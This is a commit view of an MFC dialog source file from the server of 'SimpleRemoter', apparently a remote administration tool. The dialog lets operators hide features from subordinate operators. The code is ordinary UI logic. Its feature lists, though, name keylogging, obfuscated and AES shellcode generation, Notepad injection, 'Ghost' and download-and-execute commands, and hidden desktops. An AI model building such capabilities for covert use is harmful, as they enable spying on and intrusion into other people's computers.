Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
285
server/2015Remote/FeatureLimitsDlg.cpp
Normal file
285
server/2015Remote/FeatureLimitsDlg.cpp
Normal file
@@ -0,0 +1,285 @@
|
||||
#include "stdafx.h"
|
||||
#include "FeatureLimitsDlg.h"
|
||||
#include "UIBranding.h"
|
||||
|
||||
CFeatureLimitsDlg::CFeatureLimitsDlg(CWnd* pParent)
|
||||
: CDialogLangEx(IDD_FEATURE_LIMITS, pParent)
|
||||
, m_InheritedMenuFlags(0)
|
||||
, m_InheritedToolbarFlags(0)
|
||||
, m_InheritedContextFlags(0)
|
||||
, m_MenuFlags(0)
|
||||
, m_ToolbarFlags(0)
|
||||
, m_ContextFlags(0)
|
||||
, m_CurrentTab(0)
|
||||
{
|
||||
InitMenuItems();
|
||||
InitToolbarItems();
|
||||
InitContextItems();
|
||||
}
|
||||
|
||||
CFeatureLimitsDlg::~CFeatureLimitsDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::SetInheritedFlags(const FeatureFlags* inherited)
|
||||
{
|
||||
if (inherited) {
|
||||
m_InheritedMenuFlags = inherited->MenuFlags;
|
||||
m_InheritedToolbarFlags = inherited->ToolbarFlags;
|
||||
m_InheritedContextFlags = inherited->ContextFlags;
|
||||
}
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogLangEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_TAB_FEATURES, m_TabCtrl);
|
||||
DDX_Control(pDX, IDC_LIST_FEATURES, m_CheckList);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFeatureLimitsDlg, CDialogLangEx)
|
||||
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB_FEATURES, &CFeatureLimitsDlg::OnTcnSelchangeTab)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CFeatureLimitsDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
|
||||
// 设置翻译文本
|
||||
SetWindowText(_TR("下级功能限制"));
|
||||
SetDlgItemText(IDC_STATIC_FEATURE_TIP, _TR("勾选: 对下级隐藏 灰色: 上级已禁用"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
// 添加Tab页
|
||||
m_TabCtrl.InsertItem(0, _TR("主菜单"));
|
||||
m_TabCtrl.InsertItem(1, _TR("工具栏"));
|
||||
m_TabCtrl.InsertItem(2, _TR("右键菜单"));
|
||||
|
||||
// 初始显示第一页
|
||||
m_CurrentTab = 0;
|
||||
PopulateList(0);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::InitMenuItems()
|
||||
{
|
||||
m_MenuItems = {
|
||||
// 文件菜单
|
||||
{ "参数设置", MF_SETTINGS, HIDE_MENU_SETTINGS },
|
||||
{ "提醒设置", MF_NOTIFY_SETTINGS, HIDE_MENU_NOTIFY_SETTINGS },
|
||||
{ "钱包", MF_WALLET, HIDE_MENU_WALLET },
|
||||
{ "网络", MF_NETWORK, HIDE_MENU_NETWORK },
|
||||
// 工具菜单
|
||||
{ "输入密码", MF_INPUT_PASSWORD, HIDE_MENU_INPUT_PASSWORD },
|
||||
{ "导入许可证", MF_IMPORT_LICENSE, HIDE_MENU_IMPORT_LICENSE },
|
||||
{ "PE资源编辑", MF_RCEDIT, HIDE_MENU_RCEDIT },
|
||||
{ "生成授权", MF_GEN_AUTH, HIDE_MENU_GEN_AUTH },
|
||||
{ "生成Master", MF_GEN_MASTER, HIDE_MENU_GEN_MASTER },
|
||||
{ "许可证管理", MF_LICENSE_MGR, HIDE_MENU_LICENSE_MGR },
|
||||
{ "V2私钥", MF_V2_PRIVATEKEY, HIDE_MENU_V2_PRIVATEKEY },
|
||||
// ShellCode子菜单
|
||||
{ "ShellCode C Code", MF_SHELLCODE_C, HIDE_MENU_SHELLCODE_C },
|
||||
{ "ShellCode bin", MF_SHELLCODE_BIN, HIDE_MENU_SHELLCODE_BIN },
|
||||
{ "ShellCode Load Test", MF_SHELLCODE_LOAD_TEST, HIDE_MENU_SHELLCODE_LOAD_TEST },
|
||||
{ "混淆 ShellCode", MF_SHELLCODE_OBFS, HIDE_MENU_SHELLCODE_OBFS },
|
||||
{ "混淆 ShellCode bin", MF_SHELLCODE_OBFS_BIN, HIDE_MENU_SHELLCODE_OBFS_BIN },
|
||||
{ "混淆 Load Test", MF_SHELLCODE_OBFS_TEST, HIDE_MENU_SHELLCODE_OBFS_TEST },
|
||||
{ "AES ShellCode C", MF_SHELLCODE_AES_C, HIDE_MENU_SHELLCODE_AES_C },
|
||||
{ "AES ShellCode bin", MF_SHELLCODE_AES_BIN, HIDE_MENU_SHELLCODE_AES_BIN },
|
||||
{ "AES Load Test", MF_SHELLCODE_AES_TEST, HIDE_MENU_SHELLCODE_AES_TEST },
|
||||
// 参数菜单
|
||||
{ "键盘记录", MF_KBLOGGER, HIDE_MENU_KBLOGGER },
|
||||
{ "登录通知", MF_LOGIN_NOTIFY, HIDE_MENU_LOGIN_NOTIFY },
|
||||
{ "启用日志", MF_ENABLE_LOG, HIDE_MENU_ENABLE_LOG },
|
||||
{ "壁纸隐私", MF_PRIVACY_WALLPAPER, HIDE_MENU_PRIVACY_WALLPAPER },
|
||||
{ "V2文件协议", MF_FILE_V2, HIDE_MENU_FILE_V2 },
|
||||
{ "钩子窗口", MF_HOOK_WIN, HIDE_MENU_HOOK_WIN },
|
||||
{ "作为服务运行", MF_RUN_AS_SERVICE, HIDE_MENU_RUN_AS_SERVICE },
|
||||
{ "以用户身份运行", MF_RUN_AS_USER, HIDE_MENU_RUN_AS_USER },
|
||||
// 扩展菜单
|
||||
{ "历史客户端", MF_HISTORY_CLIENTS, HIDE_MENU_HISTORY_CLIENTS },
|
||||
{ "备份数据", MF_BACKUP_DATA, HIDE_MENU_BACKUP_DATA },
|
||||
{ "导入数据", MF_IMPORT_DATA, HIDE_MENU_IMPORT_DATA },
|
||||
{ "重新加载插件", MF_RELOAD_PLUGINS, HIDE_MENU_RELOAD_PLUGINS },
|
||||
{ "插件请求", MF_PLUGIN_REQUEST, HIDE_MENU_PLUGIN_REQUEST },
|
||||
{ "下级FRP", MF_FRPS_FOR_SUB, HIDE_MENU_FRPS_FOR_SUB },
|
||||
{ "更改语言", MF_CHANGE_LANG, HIDE_MENU_CHANGE_LANG },
|
||||
{ "选择语言目录", MF_CHOOSE_LANG_DIR, HIDE_MENU_CHOOSE_LANG_DIR },
|
||||
{ "QQWry定位", MF_LOCATION_QQWRY, HIDE_MENU_LOCATION_QQWRY },
|
||||
{ "Ip2Region定位", MF_LOCATION_IP2REGION, HIDE_MENU_LOCATION_IP2REGION },
|
||||
// 帮助菜单
|
||||
{ "重要说明", MF_IMPORTANT, HIDE_MENU_IMPORTANT },
|
||||
{ "反馈", MF_FEEDBACK, HIDE_MENU_FEEDBACK },
|
||||
{ "什么是这个", MF_WHAT_IS_THIS, HIDE_MENU_WHAT_IS_THIS },
|
||||
{ "主控跟踪", MF_MASTER_TRAIL, HIDE_MENU_MASTER_TRAIL },
|
||||
{ "请求授权", MF_REQUEST_AUTH, HIDE_MENU_REQUEST_AUTH },
|
||||
};
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::InitToolbarItems()
|
||||
{
|
||||
m_ToolbarItems = {
|
||||
{ "终端管理", TF_TERMINAL, HIDE_TOOLBAR_TERMINAL },
|
||||
{ "进程管理", TF_PROCESS, HIDE_TOOLBAR_PROCESS },
|
||||
{ "窗口管理", TF_WINDOW, HIDE_TOOLBAR_WINDOW },
|
||||
{ "桌面管理", TF_DESKTOP, HIDE_TOOLBAR_DESKTOP },
|
||||
{ "文件管理", TF_FILE, HIDE_TOOLBAR_FILE },
|
||||
{ "语音管理", TF_AUDIO, HIDE_TOOLBAR_AUDIO },
|
||||
{ "视频管理", TF_VIDEO, HIDE_TOOLBAR_VIDEO },
|
||||
{ "服务管理", TF_SERVICE, HIDE_TOOLBAR_SERVICE },
|
||||
{ "注册表管理", TF_REGISTER, HIDE_TOOLBAR_REGISTER },
|
||||
{ "键盘记录", TF_KEYBOARD, HIDE_TOOLBAR_KEYBOARD },
|
||||
{ "参数设置", TF_SETTINGS, HIDE_TOOLBAR_SETTINGS },
|
||||
{ "生成服务端", TF_BUILD, HIDE_TOOLBAR_BUILD },
|
||||
{ "搜索", TF_SEARCH, HIDE_TOOLBAR_SEARCH },
|
||||
{ "帮助", TF_HELP, HIDE_TOOLBAR_HELP },
|
||||
};
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::InitContextItems()
|
||||
{
|
||||
m_ContextItems = {
|
||||
// 在线列表右键菜单
|
||||
{ "发送消息", CF_MESSAGE, HIDE_CTX_MESSAGE },
|
||||
{ "更新客户端", CF_UPDATE, HIDE_CTX_UPDATE },
|
||||
{ "删除", CF_DELETE, HIDE_CTX_DELETE },
|
||||
{ "分享", CF_SHARE, HIDE_CTX_SHARE },
|
||||
{ "代理", CF_PROXY, HIDE_CTX_PROXY },
|
||||
{ "主机备注", CF_HOSTNOTE, HIDE_CTX_HOSTNOTE },
|
||||
{ "虚拟桌面", CF_VIRTUAL_DESKTOP, HIDE_CTX_VIRTUAL_DESKTOP },
|
||||
{ "灰度桌面", CF_GRAY_DESKTOP, HIDE_CTX_GRAY_DESKTOP },
|
||||
{ "远程桌面", CF_REMOTE_DESKTOP, HIDE_CTX_REMOTE_DESKTOP },
|
||||
{ "H264桌面", CF_H264_DESKTOP, HIDE_CTX_H264_DESKTOP },
|
||||
{ "授权", CF_AUTHORIZE, HIDE_CTX_AUTHORIZE },
|
||||
{ "取消授权", CF_UNAUTHORIZE, HIDE_CTX_UNAUTHORIZE },
|
||||
{ "分配给", CF_ASSIGN_TO, HIDE_CTX_ASSIGN_TO },
|
||||
{ "添加监视", CF_ADD_WATCH, HIDE_CTX_ADD_WATCH },
|
||||
{ "登录通知", CF_LOGIN_NOTIFY, HIDE_CTX_LOGIN_NOTIFY },
|
||||
{ "以管理员运行", CF_RUN_AS_ADMIN, HIDE_CTX_RUN_AS_ADMIN },
|
||||
{ "卸载", CF_UNINSTALL, HIDE_CTX_UNINSTALL },
|
||||
{ "私有屏幕", CF_PRIVATE_SCREEN, HIDE_CTX_PRIVATE_SCREEN },
|
||||
{ "重新分组", CF_REGROUP, HIDE_CTX_REGROUP },
|
||||
{ "注入记事本", CF_INJ_NOTEPAD, HIDE_CTX_INJ_NOTEPAD },
|
||||
{ "代理端口", CF_PROXY_PORT, HIDE_CTX_PROXY_PORT },
|
||||
{ "标准代理端口", CF_PROXY_PORT_STD, HIDE_CTX_PROXY_PORT_STD },
|
||||
// 机器管理子菜单
|
||||
{ "关机", CF_MACHINE_SHUTDOWN, HIDE_CTX_MACHINE_SHUTDOWN },
|
||||
{ "重启", CF_MACHINE_REBOOT, HIDE_CTX_MACHINE_REBOOT },
|
||||
{ "注销", CF_MACHINE_LOGOUT, HIDE_CTX_MACHINE_LOGOUT },
|
||||
// 执行命令子菜单
|
||||
{ "下载执行", CF_EXECUTE_DOWNLOAD, HIDE_CTX_EXECUTE_DOWNLOAD },
|
||||
{ "上传执行", CF_EXECUTE_UPLOAD, HIDE_CTX_EXECUTE_UPLOAD },
|
||||
{ "测试运行", CF_EXECUTE_TESTRUN, HIDE_CTX_EXECUTE_TESTRUN },
|
||||
{ "Ghost执行", CF_EXECUTE_GHOST, HIDE_CTX_EXECUTE_GHOST },
|
||||
};
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::PopulateList(int tabIndex)
|
||||
{
|
||||
// 先收集当前Tab的选择
|
||||
CollectFlags();
|
||||
|
||||
// 清空列表
|
||||
m_CheckList.ResetContent();
|
||||
|
||||
// 根据Tab选择不同的项目列表
|
||||
std::vector<FeatureItem>* items = nullptr;
|
||||
uint64_t inheritedFlags = 0;
|
||||
uint64_t selectedFlags = 0;
|
||||
|
||||
switch (tabIndex) {
|
||||
case 0:
|
||||
items = &m_MenuItems;
|
||||
inheritedFlags = m_InheritedMenuFlags;
|
||||
selectedFlags = m_MenuFlags;
|
||||
break;
|
||||
case 1:
|
||||
items = &m_ToolbarItems;
|
||||
inheritedFlags = m_InheritedToolbarFlags;
|
||||
selectedFlags = m_ToolbarFlags;
|
||||
break;
|
||||
case 2:
|
||||
items = &m_ContextItems;
|
||||
inheritedFlags = m_InheritedContextFlags;
|
||||
selectedFlags = m_ContextFlags;
|
||||
break;
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
// 添加项目到列表
|
||||
for (const auto& item : *items) {
|
||||
// 编译时已隐藏的功能,不显示
|
||||
if (item.compileMacro)
|
||||
continue;
|
||||
|
||||
int index = m_CheckList.AddString(_TR(item.name));
|
||||
m_CheckList.SetItemData(index, item.flag);
|
||||
|
||||
// 检查是否被上级禁用(继承)或用户已选择
|
||||
bool isInherited = (inheritedFlags & item.flag) != 0;
|
||||
bool isSelected = (selectedFlags & item.flag) != 0;
|
||||
|
||||
if (isInherited || isSelected) {
|
||||
m_CheckList.SetCheck(index, TRUE);
|
||||
}
|
||||
|
||||
// 上级已禁用的功能,禁用复选框(灰色,不可取消)
|
||||
if (isInherited) {
|
||||
m_CheckList.Enable(index, FALSE);
|
||||
}
|
||||
}
|
||||
|
||||
m_CurrentTab = tabIndex;
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::CollectFlags()
|
||||
{
|
||||
// 根据当前Tab收集选中状态到对应的标志位
|
||||
uint64_t* targetFlags = nullptr;
|
||||
uint64_t inheritedFlags = 0;
|
||||
|
||||
switch (m_CurrentTab) {
|
||||
case 0:
|
||||
targetFlags = &m_MenuFlags;
|
||||
inheritedFlags = m_InheritedMenuFlags;
|
||||
break;
|
||||
case 1:
|
||||
targetFlags = &m_ToolbarFlags;
|
||||
inheritedFlags = m_InheritedToolbarFlags;
|
||||
break;
|
||||
case 2:
|
||||
targetFlags = &m_ContextFlags;
|
||||
inheritedFlags = m_InheritedContextFlags;
|
||||
break;
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
// 保留继承的标志位
|
||||
*targetFlags = inheritedFlags;
|
||||
|
||||
// 收集用户勾选的项目
|
||||
for (int i = 0; i < m_CheckList.GetCount(); i++) {
|
||||
if (m_CheckList.GetCheck(i)) {
|
||||
*targetFlags |= m_CheckList.GetItemData(i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::OnTcnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
int sel = m_TabCtrl.GetCurSel();
|
||||
PopulateList(sel);
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::OnOK()
|
||||
{
|
||||
// 收集最后一个Tab的选择
|
||||
CollectFlags();
|
||||
|
||||
CDialogLangEx::OnOK();
|
||||
}
|
||||
Reference in New Issue
Block a user